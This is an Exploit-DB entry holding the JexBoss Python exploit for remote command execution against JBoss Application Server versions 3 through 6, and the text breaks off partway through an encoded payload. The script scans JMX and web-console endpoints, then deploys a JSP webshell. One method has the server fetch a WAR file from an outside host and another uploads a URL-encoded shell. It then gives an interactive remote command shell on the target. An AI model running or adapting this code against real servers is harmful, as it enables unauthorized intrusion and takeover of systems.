Exploit-DB #36575
Description: JBoss AS 3/4/5/6 - Remote Command Execution
Type: webapps
Platform: multiple
Date: 2015-03-31
Author: João Filho Matos Figueiredo

Exploit:
# coding: utf-8
# JexBoss v1.0. @autor: João Filho Matos Figueiredo (joaomatosf@gmail.com)
# Updates: https://github.com/joaomatosf/jexboss
# Free for distribution and modification, but the authorship should be preserved.


import httplib, sys, urllib, os, time
from urllib import urlencode

RED = '\x1b[91m'
RED1 = '\033[31m'
BLUE = '\033[94m'
GREEN = '\033[32m'
BOLD = '\033[1m'
NORMAL = '\033[0m'
ENDC = '\033[0m'

def getHost(url):
	tokens = url.split("://")
	if len(tokens) == 2: #foi fornecido protocolo
		return tokens[1].split(":")[0]
	else:
		return tokens.split(":")[0]
		
def getProtocol(url):
	tokens = url.split("://")
	if tokens[0] == "https":
		return "https"
	else:
		return "http"

def getPort(url):
	token = url[6:].split(":")
	if len(token) == 2:
		return token[1]
	elif getProtocol(url) == "https":
		return 443
	else:
		return 80
		
def getConnection(url):
	if getProtocol(url) == "https":
		return httplib.HTTPSConnection(getHost(url), getPort(url))
	else:
		return httplib.HTTPConnection(getHost(url), getPort(url))
		

def getSuccessfully(url, path):
		result = 404
		time.sleep(5)
		conn = getConnection(url)
		conn.request("GET", path)
		result = conn.getresponse().status
		if result == 404:
			conn.close()
			time.sleep(7)
			conn = getConnection(url)
			conn.request("GET", path)
			result = conn.getresponse().status
			conn.close()
		return result

def checkVul(url):
	
	print ( GREEN +" ** Checking Host: %s **\n" %url )
	
	path = { "jmx-console"		 : "/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.system:type=ServerInfo",
			 "web-console" 		 : "/web-console/ServerInfo.jsp",
			 "JMXInvokerServlet" : "/invoker/JMXInvokerServlet"}

	for i in path.keys():
		try:
			print GREEN + " * Checking %s: \t" %i + ENDC,
			conn = getConnection(url)
			conn.request("HEAD", path[i])
			path[i] = conn.getresponse().status
			if path[i] == 200 or path[i] == 500:
				print RED + "[ VULNERABLE ]" + ENDC
			else: print GREEN + "[ OK ]"
			conn.close()
		except:
			print RED + "\n * An error ocurred while contaction the host %s\n" %url + ENDC
			path[i] = 505
		
	return path

def autoExploit(url, type):
	
	# exploitJmxConsoleFileRepository: tested and working in jboss 4 and 5
	# exploitJmxConsoleMainDeploy:	   tested and working in jboss 4 and 6
	# exploitWebConsoleInvoker:		   tested and working in jboss 4
	# exploitJMXInvokerFileRepository: tested and working in jboss 4 and 5
	
	print GREEN + ("\n * Sending exploit code to %s. Wait...\n" %url)
	result = 505
	if type == "jmx-console":
		result = exploitJmxConsoleFileRepository(url)
		if result != 200 and result != 500:
			result = exploitJmxConsoleMainDeploy(url)
	elif type == "web-console":
		result = exploitWebConsoleInvoker(url)
	elif type == "JMXInvokerServlet":
		result = exploitJMXInvokerFileRepository(url)

	if result == 200 or result == 500:
		print GREEN + " * Successfully deployed code! Starting command shell, wait...\n" + ENDC
		shell_http(url, type)
	else:
		print (RED + "\n * Could not exploit the flaw automatically. Exploitation requires manual analysis...\n" 
				    "   Waiting for 7 seconds...\n "+ ENDC)
		time.sleep(7)

def shell_http(url, type):
	if type == "jmx-console" or type == "web-console":
		path = '/jbossass/jbossass.jsp?'
	elif type == "JMXInvokerServlet":
		path = '/shellinvoker/shellinvoker.jsp?'

	conn = getConnection(url)
	conn.request("GET", path)
	conn.close()
	time.sleep(7)
	resp = ""
	#clear()
	print " * - - - - - - - - - - - - - - - - - - - - LOL - - - - - - - - - - - - - - - - - - - - * \n"
	print RED+" * "+url+": \n"+ENDC
	headers = {"User-Agent" : "jexboss"}
	for cmd in ['uname -a', 'cat /etc/issue', 'id']:
		conn = getConnection(url)
		cmd = urlencode({"ppp": cmd})
		conn.request("GET", path+cmd, '', headers)
		resp += " "+conn.getresponse().read().split(">")[1]
	print resp,
	
	while 1:
		print BLUE + "[Type commands or \"exit\" to finish]"
		cmd=raw_input("Shell> "+ENDC)
		#print ENDC
		if cmd == "exit":
			break
		conn = getConnection(url)
		cmd = urlencode({"ppp": cmd})
		conn.request("GET", path+cmd, '', headers)
		resp = conn.getresponse()
		if resp.status == 404:
			print RED+ " * Error contacting the commando shell. Try again later..."
			conn.close()
			continue
		stdout = ""
		try:
			stdout = resp.read().split("pre>")[1]
		except:
			print RED+ " * Error contacting the commando shell. Try again later..."
		if stdout.count("An exception occurred processing JSP page") == 1:
			print RED + " * Error executing command \"%s\". " %cmd.split("=")[1] + ENDC
		else: print stdout,
		conn.close()

def exploitJmxConsoleMainDeploy(url):
	# MainDeployer
	# does not work in jboss5 (bug in jboss5)
	# shell in link
	# /jmx-console/HtmlAdaptor
	jsp = "http://www.joaomatosf.com/rnp/jbossass.war"
	payload =(  "/jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.system:service"
				"=MainDeployer&methodIndex=19&arg0="+jsp)
	print ( GREEN+ "\n * Info: This exploit will force the server to deploy the webshell "
			       "\n   available on: "+jsp +ENDC)
	conn = getConnection(url)
	conn.request("HEAD", payload)
	result = conn.getresponse().status
	conn.close()
	return getSuccessfully(url, "/jbossass/jbossass.jsp")	

def exploitJmxConsoleFileRepository(url):
		# DeploymentFileRepository
		# tested and work in jboss4, 5.
		# doest not work in jboss6
		# shell jsp
		# /jmx-console/HtmlAdaptor
		jsp =("%3C%25%40%20%70%61%67%65%20%69%6D%70%6F%72%74%3D%22%6A%61%76%61"
			  "%2E%75%74%69%6C%2E%2A%2C%6A%61%76%61%2E%69%6F%2E%2A%22%25%3E%3C"
			  "%70%72%65%3E%3C%25%20%69%66%20%28%72%65%71%75%65%73%74%2E%67%65"
			  "%74%50%61%72%61%6D%65%74%65%72%28%22%70%70%70%22%29%20%21%3D%20"
			  "%6E%75%6C%6C%20%26%26%20%72%65%71%75%65%73%74%2E%67%65%74%48%65"
			  "%61%64%65%72%28%22%75%73%65%72%2D%61%67%65%6E%74%22%29%2E%65%71"
			  "%75%61%6C%73%